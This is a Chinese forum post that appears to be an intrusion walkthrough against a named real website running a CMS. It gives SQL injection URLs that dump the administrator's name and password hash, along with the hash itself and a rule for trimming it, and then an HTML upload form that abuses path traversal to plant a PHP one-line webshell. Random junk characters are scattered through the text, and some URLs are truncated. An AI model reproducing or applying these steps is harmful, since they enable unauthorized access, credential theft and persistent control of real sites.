①注入漏洞。5 [' ]% g8 V9 P% q% `: e. L
这站 http://www.political-security.com/- W' v1 \- C; P1 y
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，1 e0 o- l6 ?9 L2 l% v8 E
www.political-security.com/data/mysql_error_trace.inc 爆后台6 t) A' [3 E3 G9 ^9 H8 e
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。( P4 I$ O3 w) L! O6 G [
然后写上语句
3 U8 B% p: t+ i" v v M查看管理员帐号
) M; I4 K8 e" |http://www.political-security.co ... &membergroup=@`
0 N0 [9 q, I9 M L& e% |' s* O0 V+ Q* o! W9 M5 g" K6 ^
admin
! z2 C% z# S; J" S) s
8 S |) B3 m5 P1 s9 d7 |& G8 R* s( u查看管理员密码; b. H3 O' L, m
http://www.political-security.co ... &membergroup=@`
( f; I1 v- }8 ]% ], B& M1 a
. L9 U2 K3 y3 E) X) n0 J8 B& g; W8d29b1ef9f8c5a5af429, w) R! ]& Q3 v! Y
4 v. m) x% V/ R0 d9 Q查看管理员密码7 W5 s9 X$ B/ w( Q- O
5 G; b& T$ m2 x% T
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5* ?2 W0 m9 ?9 h* C& p h2 ^
+ n5 @. e( d5 P2 q$ z! Q
8d2
3 V- w, Z6 y! H$ M9b1ef9f8c5a5af42' m+ C6 \$ u9 V/ H8 @$ {
9
; m: `' g8 |! ^1 C4 [( r) K' A5 P+ V: |8 E
cmd5没解出来 只好测试第二个方法
1 y5 R, C9 a5 ^9 ^
" l1 P1 s$ D( @4 ~0 E
* l) a' P2 c% l②上传漏洞：# H' |! A) x1 F7 P; h$ A
5 ~4 m/ M; ~; Y" d只要登陆会员中心，然后访问页面链接
7 G5 z8 w, F" f) X) M3 G# X“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
+ J3 U( [ v! i( I$ V2 }% S1 g0 W& f4 d2 b' C
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
% U& @* d* U0 h8 l$ u5 h0 q
C; G- @! `3 |0 {# D, b) q于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm" R' L, N1 J$ i3 Y) e$ h
. C7 Q' |' f! [; E% n2 O
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
1 s4 A6 o6 I3 ~ |; u或者
9 ]. v( @# b( c/ j; L即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对